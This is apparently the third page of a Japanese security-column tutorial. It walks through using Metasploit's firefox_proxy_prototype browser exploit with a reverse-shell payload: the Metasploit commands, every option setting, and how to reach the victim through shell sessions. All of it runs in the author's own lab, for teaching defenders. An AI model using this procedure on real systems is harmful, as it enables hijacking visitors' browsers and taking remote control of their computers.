Metasploitによる「受動的攻撃」――獲物を待ち受けろ:セキュリティ・ダークナイト ライジング(4)(3/3 ページ)
「Metasploit Framework」を使って「攻撃者の手法」を解説する本連載。前回までは、Webサーバーに対する能動的な攻撃手法を紹介してきた。今回からは、「メールによる攻撃サイトへの誘導」や「水飲み場型攻撃」に代表されるような、「受動的な攻撃」の手法を紹介しよう。
Metasploitでアクセスを待ち受け、攻撃対象を乗っ取る
これまでと同様にMetasploitを起動したら、以下のように[search]コマンドを実行する。
search firefox_proxy
すると一つのExploitモジュールがヒットするはずだ。今回はこのモジュールを使用するので、[use]コマンドで選択する。
use exploit/multi/browser/firefox_proxy_prototype
次に、以下のコマンドを入力し、どのようなペイロードが利用可能なのかを確認する。
show payloads
第2回や第3回と違って、表示されたペイロードが少ないと感じたのではないだろうか。使用可能なペイロードは実行するExploitモジュールによって異なるため、このような場合もあるのだ。今回は[firefox/shell_reverse_tcp]を用いることにして、まずは、どのようなオプションが設定可能なのか確認してみよう。
set PAYLOAD firefox/shell_reverse_tcp show options
上から順に、それぞれの設定項目を見ていこう。まずはモジュールオプションを解説する。
CONTENT
ブラウザーがアクセスしてきたときに表示させるHTMLを設定する。今回は特に設定しない。
Retries
ブラウザーがモジュールを再読み込みすることを許可するかどうかを設定する。ここでfalseとした場合、2度目のアクセスからはコンテンツは表示されず、攻撃も行われなくなる(下図)。今回はtrueのままとする。
SRVHOST
アクセスを待ち受けるホストのアドレスを設定する。0.0.0.0のままで問題ないだろう。
SRVPORT
アクセスを待ち受けるポートを指定する。今回は[80]を設定する。
SSL
アクセスに対してSSL通信を行うかどうかを設定する。今回は特に設定せず、falseのままとする。
SSLCert
SSL証明書の場所を指定する。特に指定がない場合、デフォルトではランダムに生成された証明書が用いられる。今回はSSLを有効にしないため、設定しない。
URIPATH
Exploitを実行するURIを指定する。デフォルトではランダムのパス(Path)が生成される。今回は[/]を設定する。
続いてペイロードオプションだが、これは前回までと同様である。
LHOST
攻撃に成功した後、攻撃対象が接続を行ってくるアドレス、つまりコネクトバック先のアドレスを設定する。ここは基本的に攻撃を行うコンピューターのアドレスを設定するといいだろう。今回の筆者の環境は、これまでの記事と同様、攻撃/被攻撃環境が同じコンピューター内にある。筆者の環境のIPアドレスは[192.168.0.11]なので、これを設定した。この部分の設定は、各自の環境に合わせて行ってほしい。
LPORT
攻撃に成功した後、攻撃対象が接続を行ってくるポート、つまりコネクトバック先のポートを設定する。今回はデフォルトのまま[4444]とする。
これらの設定を行うために、以下のようにコマンドを入力する。
set SRVPORT 80 set URIPATH / set LHOST 192.168.0.11
設定内容は[show options]コマンドで確認できる(下図)。
設定が完了したら、アクセスを待ち受けるために[exploit]コマンドを実行しよう。コマンド実行後に、脆弱性の存在するFirefoxでアクセスを行った結果が下図である。
これで攻撃対象を乗っ取った状態、すなわちターゲットのシェル接続を開いた状態になる。Metasploit上には「Command shell session 1 opened〜」と表示されているはずだ。なお、この部分の数字は攻撃対象との接続を確立するたびにカウントアップされるため、1とは限らない。
ちなみにMetasploitでは、一手に複数の接続を受け付けることが可能だ。現在確立されている接続を確認するには、[sessions]コマンドに引数[-l]を指定して実行する。
攻撃に使用する接続を指定するには、ここで「Id」を確認しておき、[sessions -i Id]というコマンドを実行する。今回は「1」の接続を使用することにする。コマンドを実行しても特に変化がないように見えるが、実際には、攻撃対象上でコマンドを実行することが可能な状態になっている。
試しに[cd]コマンドを実行してほしい。脆弱なFirefoxをインストールしたフォルダーが、カレントディレクトリとして表示されるはずだ。
ただし、他にもいろいろとコマンドを実行してみると分かるのだが、現時点では不都合な点がいくつかある。例えば、フォルダーの移動ができなかったり、攻撃対象がWindows 8以降の場合、ファイルの書き込みができなかったりする。
次回は、この不便な状態を解消するための次のステップについて解説する予定だ。公開まで、しばしお待ちいただきたい。
筆者紹介
辻 伸弘(つじ のぶひろ)
セキュリティエンジニアとして、主にペネトレーション検査などに従事している。
民間企業、官公庁問わず多くの検査実績を持つ。
自宅では、趣味としてのハニーポットの運用、IDSによる監視などを行っている。
▼辻氏のブログ「(n)」: http://n.pentest.ninja/
▼辻氏のTwitter: http://twitter.com/ntsuji
Copyright © ITmedia, Inc. All Rights Reserved.